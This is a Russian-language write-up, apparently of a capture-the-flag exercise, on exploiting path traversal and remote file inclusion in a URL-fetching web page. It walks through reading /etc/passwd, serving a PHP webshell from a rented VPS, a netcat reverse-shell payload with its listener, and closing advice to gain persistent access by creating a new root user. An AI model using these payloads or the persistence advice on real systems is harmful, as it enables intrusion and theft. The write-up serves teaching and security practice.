Hacking
November 3, 2024

Write-up - эксплуатируем Path Traversal и уязвимость command injection

Дисклеймер

Информация ниже предоставлена в ознакомительных целях. Ответственность за все действия несёте исключительно вы. Автор настоятельно рекомендует не нарушать действующие законодательства стран и использовать полученную информацию в образовательных целях.

Введение

Всем привет! Сегодня мы будем ломать сайт приватного канала, который выглядит вот так:

Стартовая страница сайта

Начало анализа web-приложения

Первое, с чего начинается взлом сайта - проверка его функционала, то, с чем мы будем в последующем работать. Так что давайте как тут и задумано, попробуем вставить URL какой-нибудь картинки из интернета.

"Картинка" из интернета

Как видим, вместо отображения картинки, нам отобразилась её внутренность, т.е. как бы выполнилась команда cat (прочтение содержимого файла). Интересный момент, стоит обратить на него внимание.

P. S. кстати, если бы мы вставили ссылку какого-то сайта, то у нас отобразился сайт, типо как в <iframe> html теге. Это важно, так как это нам даёт понять, что сервер принимать в качестве url не только адрес картинки, но и любой другой url адрес, что может позволить нам выполнить атаку типа CSRF (затрудняюсь ответить правильное название в данном случае).

Теперь обращаем внимание на то, что наша ссылка в URL браузера вставилась после вызова php функции ?file_url (в php, функции следуют после символа ?). Давайте попробуем туда написать вместо URL картинки например слово test.

Вписываем незапланнированный пользовательский ввод

Видим что наш запрос успешно выполнен, ошибок нет. Возможно, стоит попробовать ввести какую-то команду? Но прежде мы с вами погрузимся в небольшую теорию...

Краткий экскурс в мир Линуса Торвальдса

В Linux системах есть встроенная программа - cd (change directory, от англ. "выбрать папку").

Суть данной (как и остальных, но об этом как-нибудь в отдельной статье по линукс) программы в том, чтобы просто перемещать нас по нужным папкам.

Как происходит выбор папки.

В терминале необходимо прописать команду:

cd путь_до_папки

А теперь внимание - существует абсолютный и относительный путь.

Абсолютный путь - это когда мы начинаем с корневой директории (как правило с самой первой директории на жестком диске) и спускаемся в нам нужную.

Например:

cd /home/user1/Desktop/top_secret/

В данном случае мы с вами после запуска программы cd переходим с помощью ввода / в корневой каталог. Затем вводим там папку home и с помощью / заходим уже в неё. Таким образом доходим до нужной директории, в конце ставим / чтобы выбрать её и готово. Мы с вами попадаем в папку top_secret пользователя user1 и можем делать с её содержимым что хотим.

Относительный путь - это когда мы хотим переместиться на директорию выше или во вложенную директорию относительно той, в которой мы сейчас находимся

Например:

cd ./lib/tools/

cd ../magic/env/

cd ../../home/user2/test/

Как вы уже заметили, здесь появились некие точки (одна и две). Что значит этот айтишный заговор? А значит он следующее: одна точка - это текущая папка; две точки - это папка уровнем выше, т.е. как бы вернуться на папку назад, в которую вложена наша.

Таким образом слеш </> отделяет папки друг от друга, выполняет функцию перехода в папку. Знаки точек выполняют функцию ссылок, одна точка - текущая папка; две точки - папка повыше.

И так, возвращаемся к нашему сайту.

Просматриваем файл с пользователями linux

Здесь мы пошли на хитрость и попробовали открыть файл passwd с пользователями, который по умолчанию хранится в линуксах в папке /etc/.

В данном случае методом тыка мы обнаружили уязвимость Path traversal. Path traversal - это уязвимость приложений, заключающаяся в возможности выхода за пределы директории и чтения произвольных файлов на сервере.

Читать этот файл (опять же как правило) могут все, и важный момент - мы используем именно относительный путь, поскольку абсолютный как правило не сработает по ряду определенных причин.

По сути то что нам открылось содержимое файла уже говорит о многом. В Bug Bounty нам бы уже дали заслуженную денюжку и мы сидели пили чаёк. Но мы отбитые хацкеры, потому нам интересен процесс взлома, а не баги и уязвимости. Продолжаем ломать голову систему.

Payload - ищем способ доставки полезной нагрузки

И так, попробуем вместо картинки заслать сайту специальный webshell. Лично я не силён в познаниях ЯП PHP, так что, воспользуемся готовым вариантом из моего Telegram канала. Это простой и прикольный php webshell, который позволит нам выполнить код прямо на странице сайта.

Хорошо, у нас есть готовый payload, теперь его нужно как-то доставить. В нашем случае сайт принимает на ввод URL адрес. Значит нам нужно публично выложить наш payload в интернет и получить на него прямую ссылку (вы же помните про NAT из прошлой статьи, так что придется похимичить).

Здесь можно было бы попробовать подходящие файлообменники. Можно было бы попробовать с нашей системы дать публичную ссылку с помощью, например, программы ngrok. Но мы с вами поступим другим способом - арендуем VPS.

Арендованный VPS

Итак, дедик (dedicated server, от англ. выделенный сервер) мы с вами взяли, подключаемся к нему по ssh.

Подключившись, установим на него web-сервер, который бы позволил нам получить URL адрес на наш payload. Например Apache.

Устанавливаем apache2

Команда для установки простая: apt install apache2.

После этого файлы нашего сайта будут располагаться в папке /var/www/html/.

Переходим туда, удаляем дефолтные файлы.

Создаем новый файл, назовем его например webshell.php и копируем туда содержимое того, что вы скачали выше с моего канала.

Создаём файл webshell.php
Вставляем содержимое нашего payload в файл

Команда простая: nano webshell.php

Далее просто ctrl+c, ctrl+v. И для того чтобы сохранить пишем ctrl+o, подтверждаем запись данных нажав на Y. После этого выходим из редактора нажав на ctrl+x. Подробнее как пользоваться редактором nano можете почитать тут.

Так как мы создали этот файл по пути /var/www/html/webshell.php, то он теперь у нас доступен в интернете по адресу http://ip_сервера/webshell.php.

Проверяем доступность файла

Перейдя видим, что наш шелл (shell, от англ. оболочка) работает. Если бы на нашем сервере был установлен php, то мы смогли бы выполнять linux команды прямо здесь, введя их в строку и нажав на Execute (от англ. выполнить). А в графе Output (от англ. вывод) появился бы вывод результата выполненной команды, в случае, если эта команда успешно выполнилась.

Что ж, остаётся только кинуть ссылку на наш атакуемый сайт и кайфануть от сработавшей оболочки, и, о нет...

Error

Оказывается .php файлы наш сайт не хочет принимать. Что ж, в таком случае попробуем снова пойти на хитрость и переименуем наш файл с .php на .html расширение.

Переименовываем файл

Делается это командой: mv webshell.php webshell.html.

Вообще команда mv служит для перемещения файлов, но также ей таким образом можно и переименовать файл как в нашем случае, но об этом как-нибудь в другой раз.

Пробуем ещё раз:

Успех

И о да, оболочка запустилась.

Вы вероятно можете задаться вопросом - а как мы запустили php файл переименованный в html???

Всё просто - при определенной настройке web-сервера он начинает считывать html файлы как php файлы. Сделано это для того чтобы сервер мог выполнять встроенный в html код ЯП PHP. В нашем случае такая настройка сервера привела нас к возможности выполнить свой произвольный код.

Теперь давайте выполним пару команд и получим флаг.

PWD - где мы?

Узнаем в какой мы сейчас папке с помощью команды: pwd

Теперь с помощью команды ls посмотрим список файлов в нашей текущей папке и команды cat прочитаем их содержимое:

Команда ls
Команда cat

Ну и почитав содержимое файла, видим здесь наш флаг (выделен мышкой).

Флаг в php файле сайта

В реальности же изучать файлы сайта очень важно для нахождения различных api, логинов и паролей от баз данных, скрытых комментариев и так далее.

Получаем netcat shell в терминале

И так, задачка решена, но, на самом деле можно получить удаленный доступ к серверу и с помощью привычного терминала. Для этого создадим другой payload со следующим содержимым:

<?php system("nc -nv ip_нашего_сервера 4444 -e /bin/bash");?>

Наш payload

Разберем кратко что тут есть:

  1. nc -nv - запускает программу netcat, которая выполнит запрос по следующему далее ip и порту
  2. 90.156.x.x - ip адрес нашего арендованного VPS (ну или наш если мы оформили статический/белый ip у нашего интернет-провайдера)
  3. 4444 - порт, по которому будет подключаться удаленный сервер к нашему серверу. Может быть любой не занятый, например 1604 или 1111, главное чтобы на обоих серверах он был свободен, не блокировался файрволлом и был одинаковый.
  4. -e /bin/bash - тут мы просим после установления подключения запустить оболочку bash, которая у всех linux по умолчанию есть. Если нет, то можно заменить на например /bin/sh

Сохраняем payload на нашем сервере, копируем ссылку на него, и далее снова на нашем сервере выполняем следующую команду:

nc -lvnp 4444

Запускаем лисенер (прослушивалку трафика)

Здесь мы говорим нашему серверу ждать, пока кто-то к нам подключится по порту 4444 (или по другому, который мы вписали в payload. Главное чтобы был одинаковый).

Ну что, зашлем снова ссылку на наш payload серверу и увидим, что он как бы "завис" в обработке нашего запроса:

Установленное подключение. Выглядит как "зависший" запрос сервера.

Проверяем терминал нашего сервера и ура - видим успешное подключение к серверу. Сразу введем следующие команды:

  1. id - посмотрим от имени какого пользователя мы получили доступ
  2. script /dev/null -c bash - здесь мы делаем более удобную для себя оболочку. Такой как бы псевдо-bash, чтобы мы видели в какой папке находимся и от имени какого пользователя, хоть это и не заменяет полноценного подключения к оболочке, например по ssh.
Успешное получение удаленного shell

Выполним каких-нибудь пару команд:

Видим не назначенную домашнюю директорию и наличие группы пользователей sudo

Здесь видим что есть установленная программа sudo - с её помощью можно было бы попробовать получить полный доступ над сервером, например с помощью команды: sudo -i. Но это не этот случай.

Здесь мы можем вывести содержимое того же файла и получить флаг:

Получение флага в терминале

Выводы

При взломе web-приложения следует начать с попыток осмыслить принцип работы тех или иных его функций, отвечающих за выполнение каких-то операций на web-сервере.

Взлом web-приложения может быть осуществлён как с помощью манипуляции с запросами (как например в одной из прошлых статей), так и с помощью более сложных атак, как в данном случае.

В любом случае после успешного взлома и получения доступа к терминалу удаленного сервера, постарайтесь проанализировать файлы сайтов, программу sudo и прочие возможности закрепиться в системе.

Запомните, основная задача при проведении атаки - открыть себе постоянный удаленный доступ, в идеале найдя логин:пароль или создав нового пользователя с root правами для подключения по ssh.

Благодарю за прочтение статьи.